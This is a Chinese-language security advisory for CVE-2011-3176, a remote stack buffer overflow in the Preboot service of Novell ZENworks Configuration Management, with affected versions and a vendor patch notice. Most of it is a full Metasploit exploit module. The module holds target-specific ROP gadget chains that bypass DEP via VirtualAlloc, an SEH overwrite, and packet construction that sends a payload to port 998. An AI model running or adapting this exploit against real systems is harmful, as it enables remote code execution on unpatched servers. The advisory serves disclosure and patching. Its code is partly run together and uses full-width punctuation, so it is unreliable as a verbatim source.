Novell ZENworks Configuration Management多个安全漏洞（CVE-2011-3176）

发布日期：2012-03-21
更新日期：2012-07-23受影响系统：
Novell ZENworks Configuration Management 11.1A
Novell ZENworks Configuration Management 11.1
不受影响系统：
Novell ZENworks Configuration Management 11.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 52659
CVE ID: CVE-2011-3176Novell ZENworks Configuration Management是ZENworks系统网关工具中的配置管理解决方案。Novell ZENworks Configuration Management （ZCM） 11.1和11.1a的Preboot服务中存在栈缓冲区溢出漏洞，通过操作码0x4c请求，可允许远程攻击者执行任意代码。<*来源：Luigi Auriemma （aluigi@pivx.com）

链接：http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html
        http://www.novell.com/support/kb/doc.php？id=7010044
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##require "msf/core"class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh def initialize（info = {}）
    super（update_info（info,
      "Name"           => "Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow",
      "Description"    => %q{
          This module exploits a remote buffer overflow in the ZENworks Configuration
        Management. The vulnerability exists in the Preboot service and can be triggered
        by sending a specially crafted packet with the opcode 0x4c
        （PROXY_CMD_PREBOOT_TASK_INFO2） to port 998/TCP. The module has been successfully
        tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server
        2003 SP2 （DEP bypass）.
      },
      "License"        => MSF_LICENSE,
      "Author"         =>
        [
          "Luigi Auriemma", # Vulnerability Discovery
          "juan" # Metasploit module
        ],
      "References"     =>
        [
          [ "CVE", "2011-3176" ],
          [ "OSVDB", "80231" ],
          [ "BID", "52659" ],
          [ "URL", "http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml？id=974" ],
          [ "URL", "http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html" ]
        ],
      "DefaultOptions" =>
        {
          "EXITFUNC" => "process"
        },
      "Payload"        =>
        {
          "BadChars" => "x00",
          "Space"=> 994,
          "DisableNops" => true,
          "PrependEncoder" => "x81xC4x54xF2xFFxFF" # add esp, -3500
        },
      "Platform"       => ["win"],
      "Targets"        =>
        [
          [ "Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2",
            {
              "Offset"            => 1100,
              "OffsetBottomStack" => 1148,
              "OffsetRop"         => 4,
              "Ret"               => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll
            }
          ],
          [ "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2",
            {
              "Offset"            => 1100,
              "OffsetBottomStack" => 1136,
              "Ret"               => 0x100012e9 # add esp, 0x41c # ret - zenimgweb.dll
            }
          ]
        ],
      "Privileged"     => false,
      "DisclosureDate" => "Feb 22 2012",
      "DefaultTarget" => 0））    register_options（[Opt::RPORT（998）], self.class）
end def junk（n=4）
    return rand_text_alpha（n）.unpack（"V"）.first
end def nop
    return make_nops（4）.unpack（"L"）[0].to_i
end # rop chain generated with mona.py
def create_rop_chain（）
    if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
      rop_gadgets =
        [
          0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
          0x00001000, # 0x00001000-> edx
          0x100239df, # POP ECX # RETN [zenimgweb.dll]
          0x1007d158, # ptr to &VirtualAlloc（） [IAT zenimgweb.dll]
          0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
          0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
          0x10007b22, # & push esp # ret [zenimgweb.dll]
          0x100235dc, # POP EBX # RETN [zenimgweb.dll]
          0x00000001, # 0x00000001-> ebx
          0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
          0x00000040, # 0x00000040-> ecx
          0x1004702b, # POP EDI # RETN [zenimgweb.dll]
          0x1001d001, # RETN （ROP NOP） [zenimgweb.dll]
          0x10011217, # POP EAX # RETN [zenimgweb.dll]
          nop,
          0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
        ].pack（"V*"）
    else # Novell ZENworks Configuration Management 10 SP2
      rop_gadgets =
        [
          0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
          0x00001000, # 0x00001000-> edx
          0x10062113, # POP ECX # RETN [zenimgweb.dll]
          0x1007d158, # ptr to &VirtualAlloc（） [IAT zenimgweb.dll]
          0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          junk,       # Filler （compensate）
          0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
          0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
          0x10043053, # & push esp # ret [zenimgweb.dll]
          0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
          0x00000001, # 0x00000001-> ebx
          0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
          0x00000040, # 0x00000040-> ecx
          0x1003173e, # POP EDI # RETN [zenimgweb.dll]
          0x10020801, # RETN （ROP NOP） [zenimgweb.dll]
          0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
          nop,
          0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
        ].pack（"V*"）
    end    return rop_gadgets
end def exploit
    connect    buf = "A" * 4
    buf2 = "B" * 4
    buf3 = "C" * 4    buf4 = create_rop_chain
    buf4 << payload.encoded
    buf4 << "D" * （target["Offset"] - buf4.length）
    buf4 << generate_seh_record（target.ret）
    buf4 << "F" * （target["OffsetBottomStack"] - buf4.length）    my_buf = ""
    buf4.unpack（"C*"）.each {|b|
      my_buf << [b].pack（"C"）
      my_buf << rand_text（1）
    }    packet = [0x4c].pack（"N"） # Opcode 0x4C
    packet << [buf.length].pack（"N"） # Length
    packet << buf # Value
    packet << [buf2.length].pack（"N"） # Length
    packet << buf2 # Value
    packet << [buf3.length].pack（"N"） # Length
    packet << buf3 # Value
    packet << [my_buf.length].pack（"N"） # Length
    packet << my_buf # Value    sock.put（packet）    disconnect
end
end建议：
--------------------------------------------------------------------------------
厂商补丁：Novell
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://support.novell.com/security-alertsNovell ZENworks Configuration Management多个安全漏洞（CVE-2011-3175）Oxide WebServer字符处理拒绝服务漏洞相关资讯 Novell漏洞

Novell ZENworks Configuration （07/24/2012 10:40:09）

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